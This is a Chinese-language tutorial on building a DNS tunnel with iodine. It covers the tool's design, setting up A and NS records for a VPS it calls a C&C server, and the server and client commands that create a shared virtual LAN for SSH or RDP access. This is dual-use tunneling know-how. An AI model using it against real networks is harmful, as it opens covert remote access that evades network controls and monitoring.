0x01 iodine 工具介绍
iodine工具是基于C语言开发的,分为服务端程序 iodined 和 客户端 iodine,iodine支持 EDNS、base32、base64、base128等多种编码规范。
iodine支持转发模式和中继模式;
iodine原理:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一局域网(可以通过ping命令通信),在客户端和服务端之间建立连接后,客户机上会多出一块 “dns0” 的虚拟网卡。
DNS隧道流程:iodine客户端 -> DNS服务商 -> iodined服务端,由于客户端和服务端都在一个局域网,那么只需要直接访问服务端,如 3389 (直接使用 mstsc) 、22 (ssh 建立连接) 。
与同类工具相比,iodine具有如下几种特点:
->不会对下行数据进行编码
->支持多平台(Linux、Windows、MacOS)
->支持16个并发连接
->支持强密码机制
->支持同网段隧道IP低质(不同于服务器——客户端网段
->支持多种DNS记录类型
->提供了丰富的隧道质量检测措施
0x02 使用iodine搭建隧道
一、部署域名解析
首先,需要有一台公网VPS作为 C&C 服务器,并准备一个域名,去配置域名的记录, 先创建一个 “A” 记录,将自己的域名(NS记录类型的记录值)解析到VPS服务器地址,然后创建NS记录,将NS的主机记录名指向记录值。
A类解析是在说明 xxx.xxx.xyz的IP地址是 VPS地址
NS解析是在说明 想知道 xxx.xxx.com的IP地址,直接去问 xxx.xxx.xyz
这里为什么要设置NS类型的记录,因为NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器。
设置完成后本地进行验证域名解析是否设置成功!
ping域名看IP地址是否为VPS的IP地址,如果是,则证明A类解析设置成功并生效;
再来测试NS类型解析是否可用,在VPS上使用tcpdump进行监听
命令:tcpdump -n -i eth0 udp dst port 53
本地输入如下命令:nslookup+域名
NS类型解析设置成功!
二、安装iodine服务端并启动
执行以下命令启动服务端
iodined -f -c -P password 192.168.100.100 xxx.xxx.xyz -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址
-P:指定密码
-D:指定调试级别。-DD 指第二级,D的数量随等级增加
这里的192.168.100.100是自定义的局域网虚拟IP地址
启动完后,可以通过iodine检查页面:[[点击前往]]](https://code.kryo.se/iodine/check-it/)检查配置是否正确,如下表示配置成功!
这时,回到服务端可以看到VPS上多了一块网卡(dns0),ip是我们设置的 192.168.100.100
三、安装iodine客户端并启动
以Windows系统为例
执行下面命令已启动iodine,这里要记住,一定要管理员身份运行,不然会启动失败
DNS隧道建立成功!查看客户端网卡 多了一张以太网2 IP为192.168.100.98 ,此时,我们的VPS和客户端处在同一个局域网内
以Linux系统为例
执行以下命令:iodine -f -P password xxx.xxx.xyz
如下图已经建立成功!!!
连接成功后,客户端上会新建一个dns0的网卡,IP地址为 192.168.100.97
可以互相通信
0x03 使用DNS隧道
服务端和客户端已经成功建立连接,由于服务端与客户端在同一局域网中,所以可以互相通信
测试:服务端连接客户端
SSH成功连接!!! 也可使用其他服务进行连接。